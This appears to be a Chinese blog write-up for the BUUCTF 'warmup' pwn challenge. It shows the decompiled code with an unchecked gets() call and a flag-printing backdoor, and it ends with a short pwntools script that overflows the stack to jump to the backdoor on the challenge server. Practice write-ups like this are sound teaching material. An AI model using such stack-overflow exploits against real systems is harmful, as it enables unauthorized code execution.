BUUCTF Pwn warmup

  • 1.题目下载地址
  • 2.checksec检查保护
  • 3.IDA静态分析
  • 4.exp

1.题目下载地址

点击下载题目

2.checksec检查保护

  • 啥都没开,果然是warmup

3.IDA静态分析

__int64 __fastcall main(int a1, char **a2, char **a3)
{char s[64]; // [rsp+0h] [rbp-80h] BYREFchar v5[64]; // [rsp+40h] [rbp-40h] BYREFwrite(1, "-Warm Up-\n", 0xAuLL);write(1, "WOW:", 4uLL);sprintf(s, "%p\n", sub_40060D);write(1, s, 9uLL);write(1, ">", 1uLL);return gets(v5);
}
  • 后门函数
int sub_40060D()
{return system("cat flag.txt");
}
  • gets()函数很明显会有栈溢出漏洞,然后发现有后门函数,也就是sub_40060D函数,而且会发现你执行此程序的时候可以直接输出后门函数的地址,就不需要再找他的地址了
sprintf(&s, "%p\n", sub_40060D)
  • 这个函数的意思就是将sub_40060D的地址放在s缓冲区中输出地址,所以执行的时候就可以直接看到后门函数地址。
  • 所以现在的漏洞利用思路就是将v5缓冲区覆盖,然后覆盖返回地址为后门函数地址

  • v5的大小是0x40
  • 因为是64位程序,再加8byte覆盖rbp

4.exp

from pwn import*
sh=remote('node3.buuoj.cn',26548)
payload='a'*0x48+p64(0x40060D)
sh.sendline(payload)
sh.interactive()

BUUCTF Pwn warmup相关推荐

  1. [攻防世界 pwn]——warmup

    [攻防世界 pwn]--warmup 题目地址: https://adworld.xctf.org.cn/ 题目: 嘶, 碰过的第一个盲打的题, nc连上之后只有一个地址, 这个地址肯定是个有用的地址 ...

  2. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  3. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  4. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  5. buuctf web warmup详细题解

    题目:warmup 题目来源:buuctf 分析过程: 1. 首先ctrl + u 查看源代码,我们发现有一个source.php文件 2. 我们打开source.php文件,是一段代码,这道题要我们 ...

  6. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  7. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  8. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  9. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

最新文章

  1. tomcat报错LifecycleException的解决方案
  2. linux:配置jdk环境变量
  3. Font Awesome-一款吊炸天的字体图标插件中文全介绍
  4. 游戏外挂的基本编写原理
  5. STM32开发 -- Keil使用(2)
  6. Java黑皮书课后题第7章:*7.7(统计个位数的数目)编写一个程序,生成0和9之间的100个随机整数,然后显示每一个数出现的次数
  7. 多对一(一对多)的双向关联
  8. PyTorch 1.0 中文官方教程:序列模型和LSTM网络
  9. python tornado高并发_tornado IO并发真的很高么?
  10. 一些gassian分布假设的,并假设均值依赖于隐藏层,方差固定的模型
  11. Liunx之chown命令
  12. (宏)Word 纯文本粘贴
  13. Ipsec phase1 and phase2
  14. 一个以表驱动得汉字转拼音的库
  15. java-redis java使用redisTemplate连接操作单台Redis
  16. mac Segmentation Fault
  17. html中svg是什么文件,svg是什么文件格式?如何打开svg文件?
  18. 基于51单片机的校园教室打铃系统
  19. Django实现adminx后台识别用户身份的内容编辑与显示
  20. MySQL燕十八老师课程笔记:第十六课:MySQL各个函数

热门文章

  1. 简单理解操作系统之存储器管理
  2. GNSS系列(2)------OneMO模组LBS定位使用方法全攻略
  3. 20189220余超 团队博客——阅读软件app
  4. MAC Monterey升级后的L2TP问题的完美解决方案
  5. 知到/智慧树——英语听说:实境主题与技能(参考答案)
  6. 读书笔记:《量化投资实务》
  7. C++STL之stack栈容器
  8. apache common base64编码
  9. 误删计算机桌面图标怎么恢复,大神为你解答win7系统恢复误删桌面计算机图标的步骤...
  10. iNavFlight之MSP v2 Sensor报文格式